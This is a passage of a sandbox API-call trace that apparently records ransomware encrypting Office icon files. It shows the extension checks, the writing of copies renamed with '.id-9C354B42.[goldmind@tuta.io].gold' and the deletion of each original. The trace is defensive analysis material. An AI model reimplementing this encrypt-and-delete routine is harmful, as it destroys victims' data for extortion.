(lpString1=".doc", lpString2=".ICO") returned -1 [0115.517] lstrlenW (lpString=".docx") returned 5 [0115.517] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.517] lstrlenW (lpString=".pdf") returned 4 [0115.517] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.517] lstrlenW (lpString=".xls") returned 4 [0115.517] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.517] lstrlenW (lpString=".xlsx") returned 5 [0115.517] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.517] lstrlenW (lpString=".ppt") returned 4 [0115.517] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0115.517] lstrlenW (lpString=".zip") returned 4 [0115.517] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.517] lstrlenW (lpString=".rar") returned 4 [0115.517] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.517] lstrlenW (lpString=".bz2") returned 4 [0115.517] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.517] lstrlenW (lpString=".7z") returned 3 [0115.517] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0115.517] lstrlenW (lpString=".dbf") returned 4 [0115.517] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0115.517] lstrlenW (lpString=".1cd") returned 4 [0115.517] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\POSTS.ICO") returned 63 [0115.517] lstrlenW (lpString=".jpg") returned 4 [0115.517] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.517] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.517] lstrlenW (lpString="REMOTEL.ICO") returned 11 [0115.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.518] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1078) returned 1 [0115.518] CloseHandle (hObject=0x3b4) returned 1 [0115.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico")) returned 0x20 [0115.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0115.518] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.518] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.519] GetLastError () returned 0x0 [0115.519] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x436, lpOverlapped=0x0) returned 1 [0115.522] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x440, lpOverlapped=0x0) returned 1 [0115.523] ReadFile (in: hFile=0x3b4, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.523] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0115.523] SetEndOfFile (hFile=0x3d0) returned 1 [0115.525] CloseHandle (hObject=0x3d0) returned 1 [0115.525] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.525] SetEndOfFile (hFile=0x3b4) returned 1 [0115.527] CloseHandle (hObject=0x3b4) returned 1 [0115.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\remotel.ico")) returned 1 [0115.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0115.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0115.558] lstrlenW (lpString=".doc") returned 4 [0115.558] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.558] lstrlenW (lpString=".docx") returned 5 [0115.558] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.558] lstrlenW (lpString=".pdf") returned 4 [0115.558] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.558] lstrlenW (lpString=".xls") returned 4 [0115.558] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.558] lstrlenW (lpString=".xlsx") returned 5 [0115.558] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.558] lstrlenW (lpString=".ppt") returned 4 [0115.558] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0115.558] lstrlenW (lpString=".zip") returned 4 [0115.558] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.558] lstrlenW (lpString=".rar") returned 4 [0115.558] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.558] lstrlenW (lpString=".bz2") returned 4 [0115.558] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.558] lstrlenW (lpString=".7z") returned 3 [0115.558] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0115.558] lstrlenW (lpString=".dbf") returned 4 [0115.559] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0115.559] lstrlenW (lpString=".1cd") returned 4 [0115.559] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0115.559] lstrlenW (lpString=".jpg") returned 4 [0115.559] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0115.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0115.559] lstrlenW (lpString=".doc") returned 4 [0115.559] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.559] lstrlenW (lpString=".docx") returned 5 [0115.559] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.559] lstrlenW (lpString=".pdf") returned 4 [0115.559] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.559] lstrlenW (lpString=".xls") returned 4 [0115.559] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.559] lstrlenW (lpString=".xlsx") returned 5 [0115.559] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.559] lstrlenW (lpString=".ppt") returned 4 [0115.559] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0115.559] lstrlenW (lpString=".zip") returned 4 [0115.559] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.559] lstrlenW (lpString=".rar") returned 4 [0115.559] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.559] lstrlenW (lpString=".bz2") returned 4 [0115.559] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.559] lstrlenW (lpString=".7z") returned 3 [0115.559] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0115.559] lstrlenW (lpString=".dbf") returned 4 [0115.559] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0115.559] lstrlenW (lpString=".1cd") returned 4 [0115.559] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REMOTEL.ICO") returned 65 [0115.559] lstrlenW (lpString=".jpg") returned 4 [0115.559] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.559] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.560] lstrlenW (lpString="REPORTL.ICO") returned 11 [0115.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0115.561] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=1078) returned 1 [0115.561] CloseHandle (hObject=0x3f8) returned 1 [0115.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico")) returned 0x20 [0115.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0115.561] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.561] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.562] GetLastError () returned 0x0 [0115.562] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x436, lpOverlapped=0x0) returned 1 [0115.564] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x440, lpOverlapped=0x0) returned 1 [0115.564] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.565] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0115.565] SetEndOfFile (hFile=0x3d0) returned 1 [0115.565] CloseHandle (hObject=0x3d0) returned 1 [0115.565] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.565] SetEndOfFile (hFile=0x3f8) returned 1 [0115.566] CloseHandle (hObject=0x3f8) returned 1 [0115.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico")) returned 1 [0115.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0115.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0115.567] lstrlenW (lpString=".doc") returned 4 [0115.567] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.567] lstrlenW (lpString=".docx") returned 5 [0115.567] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.568] lstrlenW (lpString=".pdf") returned 4 [0115.568] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.568] lstrlenW (lpString=".xls") returned 4 [0115.568] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.568] lstrlenW (lpString=".xlsx") returned 5 [0115.568] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.568] lstrlenW (lpString=".ppt") returned 4 [0115.568] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0115.568] lstrlenW (lpString=".zip") returned 4 [0115.568] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.568] lstrlenW (lpString=".rar") returned 4 [0115.568] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.568] lstrlenW (lpString=".bz2") returned 4 [0115.568] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.568] lstrlenW (lpString=".7z") returned 3 [0115.568] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0115.568] lstrlenW (lpString=".dbf") returned 4 [0115.568] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0115.568] lstrlenW (lpString=".1cd") returned 4 [0115.568] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0115.568] lstrlenW (lpString=".jpg") returned 4 [0115.568] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0115.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0115.568] lstrlenW (lpString=".doc") returned 4 [0115.568] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.568] lstrlenW (lpString=".docx") returned 5 [0115.568] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0115.568] lstrlenW (lpString=".pdf") returned 4 [0115.568] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.568] lstrlenW (lpString=".xls") returned 4 [0115.568] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.568] lstrlenW (lpString=".xlsx") returned 5 [0115.568] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0115.568] lstrlenW (lpString=".ppt") returned 4 [0115.568] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0115.568] lstrlenW (lpString=".zip") returned 4 [0115.568] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.568] lstrlenW (lpString=".rar") returned 4 [0115.569] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.569] lstrlenW (lpString=".bz2") returned 4 [0115.569] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.569] lstrlenW (lpString=".7z") returned 3 [0115.569] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0115.569] lstrlenW (lpString=".dbf") returned 4 [0115.569] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0115.569] lstrlenW (lpString=".1cd") returned 4 [0115.569] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO") returned 65 [0115.569] lstrlenW (lpString=".jpg") returned 4 [0115.569] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.569] lstrcmpiW (lpString1=".ICO", lpString2=".gold") returned 1 [0115.569] lstrlenW (lpString="REPORTS.ICO") returned 11 [0115.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0115.570] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=2998) returned 1 [0115.570] CloseHandle (hObject=0x3f8) returned 1 [0115.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico")) returned 0x20 [0115.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0115.571] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.571] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.572] GetLastError () returned 0x0 [0115.572] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0115.710] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0115.711] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.711] WriteFile (in: hFile=0x3d0, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0115.711] SetEndOfFile (hFile=0x3d0) returned 1 [0115.711] CloseHandle (hObject=0x3d0) returned 1 [0115.711] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.711] SetEndOfFile (hFile=0x3f8) returned 1 [0115.713] CloseHandle (hObject=0x3f8) returned 1 [0115.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico")) returned 1 [0115.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0115.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0115.766] lstrlenW (lpString=".doc") returned 4 [0115.766] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.766] lstrlenW (lpString=".docx") returned 5 [0115.766] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.766] lstrlenW (lpString=".pdf") returned 4 [0115.766] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.766] lstrlenW (lpString=".xls") returned 4 [0115.766] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.766] lstrlenW (lpString=".xlsx") returned 5 [0115.766] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.766] lstrlenW (lpString=".ppt") returned 4 [0115.766] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0115.766] lstrlenW (lpString=".zip") returned 4 [0115.766] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0115.766] lstrlenW (lpString=".rar") returned 4 [0115.766] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0115.766] lstrlenW (lpString=".bz2") returned 4 [0115.766] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0115.766] lstrlenW (lpString=".7z") returned 3 [0115.766] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0115.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0115.766] lstrlenW (lpString=".dbf") returned 4 [0115.766] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0115.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0115.766] lstrlenW (lpString=".1cd") returned 4 [0115.767] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0115.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0115.767] lstrlenW (lpString=".jpg") returned 4 [0115.767] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0115.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0115.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0115.767] lstrlenW (lpString=".doc") returned 4 [0115.767] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0115.767] lstrlenW (lpString=".docx") returned 5 [0115.767] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0115.767] lstrlenW (lpString=".pdf") returned 4 [0115.767] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0115.767] lstrlenW (lpString=".xls") returned 4 [0115.767] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0115.767] lstrlenW (lpString=".xlsx") returned 5 [0115.767] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0115.767] lstrlenW (lpString=".ppt") returned 4 [0115.767] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0115.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO") returned 65 [0115.767] lstrlenW (lpString=".zip") returned 4 